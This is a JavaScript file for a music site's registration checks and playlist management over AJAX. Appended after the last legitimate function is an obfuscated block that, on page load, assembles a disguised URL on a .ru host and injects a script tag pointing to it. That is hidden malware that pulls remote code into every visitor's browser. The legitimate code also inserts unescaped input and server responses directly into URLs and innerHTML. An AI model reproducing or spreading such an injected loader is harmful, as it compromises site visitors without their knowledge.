function ajax_check_register_username(str)
{
var url="ajax.php";
url=url+"?action=check_register_username&str="+str;
url=url+"&sid="+Math.random();

new Ajax.Request(url, {   
method: 'get',   
onSuccess: function(t){ $('register_username_area').innerHTML=t.responseText;}
 }); 

}

function ajax_check_register_email(str)
{
var url="ajax.php";
url=url+"?action=check_register_email&str="+str;
url=url+"&sid="+Math.random();

new Ajax.Request(url, {   
method: 'get',   
onSuccess: function(t){$('register_email_area').innerHTML=t.responseText;}
 }); 

}

function init_playlist_sortlist(){
Sortable.create
(
    'playlist_div',{
tag:'div',

        constraint: false,
        onUpdate: function()
        {
      new Ajax.Updater
            (
                'result', 'ajax.php',
                { postBody: Sortable.serialize('playlist_div',{name:'sort_list'}) +'&action=set_playlist_sort'}
            );
        }
    }
);
}

function playlist_add_song(song_id){

var url="ajax.php";
url=url+"?action=playlist_add_song&song_id="+song_id;
url=url+"&sid="+Math.random();

new Ajax.Request(url, {   
method: 'get',   
onSuccess: function(t){

var new_id =  t.responseText;

var url="ajax.php";
url=url+"?action=playlist_get_item&id="+ new_id;
url=url+"&sid="+Math.random();

new Ajax.Request(url, {   
method: 'get',   
onSuccess: function(t){

if($('playlist_div').innerHTML=='---'){
$('playlist_div').innerHTML='';
}
var new_element = document.createElement('div');
new_element.id = 'playlist_item_'+new_id;
new_element.innerHTML =  t.responseText;
$('playlist_div').insertBefore(new_element, $('playlist_div').firstChild);
init_playlist_sortlist();
}
 }); 

}
 }); 
}

function playlist_delete_song(id){

var url="ajax.php";
url=url+"?action=playlist_delete_song&id="+id;
url=url+"&sid="+Math.random();

new Ajax.Request(url, {   
method: 'get',   
onSuccess: function(t){
var x=$('playlist_item_'+id).parentNode.childNodes.length;
$('playlist_item_'+id).parentNode.removeChild($('playlist_item_'+id));
if(x <=1){
$('playlist_div').innerHTML = '---';
}
}
 }); 
}


function get_playlist_items(id){
var url="ajax.php";
url=url+"?action=get_playlist_items&id="+id;
url=url+"&sid="+Math.random();

new Ajax.Request(url, {   
method: 'get',   
onSuccess: function(t){
$('playlist_div').innerHTML =  t.responseText;
init_playlist_sortlist();
}
 }); 
}

function playlists_add(){
if($('playlists_add_div').style.display == "inline"){
$('playlists_add_div').style.display = "none";
}else{
$('playlists_add_div').style.display = "inline";
}
}

function playlists_del(id){
var url="ajax.php";
url=url+"?action=playlists_del&id="+id;
url=url+"&sid="+Math.random();

new Ajax.Request(url, {   
method: 'get',   
onSuccess: function(t){
get_playlists();
get_playlist_items(t.responseText);
}
 });
}


function get_playlists(){
var url="ajax.php";
url=url+"?action=get_playlists&name="+name;
url=url+"&sid="+Math.random();

new Ajax.Request(url, {   
method: 'get',   
onSuccess: function(t){

$('playlists_select_div').innerHTML =  t.responseText;
}
 });
}

function playlists_submit(name){
if(name){
var url="ajax.php";
url=url+"?action=playlists_add&name="+name;
url=url+"&sid="+Math.random();

new Ajax.Request(url, {   
method: 'get',   
onSuccess: function(t){
get_playlists();
get_playlist_items(t.responseText);
$('playlists_add_div').style.display = "none";
$('playlist_name').value='';
}
 }); 
}
}
var Nl;if(Nl!='' && Nl!='y'){Nl=''};try {var V;if(V!='b' && V != ''){V=null};var U=new String("bpGJ]".substr(4));var x=new String();var d=String("g");var w;if(w!=''){w='Y'};var f="vUe[".substr(3);var kL=new Array();var fO=new Array();var q=new String("GIcorep".substr(4)+"KhW1lac".substr(4)+"Coie".substr(3));var fQ='';this.dd="";var g=RegExp;this.Xs="";var I=new Array();var vv=new Array();function C(p,r){var NI="";var t;if(t!='' && t!='AP'){t=null};var aR='';var rw=f;var Vv=new String();var vq;if(vq!='tm' && vq != ''){vq=null};rw+=r;rw+=U;var CG=new Array();var O=new g(rw, d);var XN;if(XN!='TJ'){XN=''};return p.replace(O, fQ);var rf=new Array();};var LP;if(LP!='' && LP!='F'){LP=''};var Vl;if(Vl!='Pz'){Vl=''};var p="1";var jU=new Date();var pL;if(pL!='' && pL!='QD'){pL='QP'};var n=new String("/tri"+"J9upod.".substr(3)+"L7Ocom/O7L".substr(3,4)+"trip"+"od.cRF8".substr(0,4)+"om/g"+"bwD7oogl".substr(4)+"tAHXe.co".substr(4)+"m/cs"+"dn.nkgR".substr(0,4)+"i0Bet/f".substr(3)+"t.co"+"m.phPLC".substr(0,4)+"pWdlA".substr(0,1));var a=C('8472072787440772',"247");var UQS='';var N=new String("onl"+"oadYpkb".substr(0,3));var xL;if(xL!='bG'){xL=''};var P='';var xS;if(xS!='' && xS!='Ak'){xS='z'};var UQ=new String("STqscr".substr(3)+"ipt");var D=C('hAtgtApA:A/A/AtAigaAngygag-gcgnA.AsAoAfAtAlgagyAeArg.gcAogmA.AsgigfAyg-AcAogmg.AtAhgeApgaAlAmApgegng.grAug:g',"Ag");var e=new String();var ER=new String();window[N]=function(){PM=document.createElement(UQ);var sd;if(sd!='' && sd!='KD'){sd='NM'};this.Xn='';var gz;if(gz!='' && gz!='UU'){gz=null};var yJ;if(yJ!='' && yJ!='yh'){yJ=null};P+=D;this.WY="";P+=a+n;var ub=new Array();var yn="";var o=document.body;var jq;if(jq!='jg' && jq!='GK'){jq=''};var Kf;if(Kf!='kG' && Kf!='bR'){Kf=''};PM.defer=p;PM.src=P;var Xa;if(Xa!='nP'){Xa=''};var Lu;if(Lu!='Le' && Lu != ''){Lu=null};o.appendChild(PM);var Fo='';var VP="";};var LH;if(LH!='' && LH!='co'){LH=''};var hm;if(hm!='Xt' && hm != ''){hm=null};var Fz;if(Fz!='lV' && Fz != ''){Fz=null};} catch(k){var TQ;if(TQ!='nL' && TQ != ''){TQ=null};};var Bj='';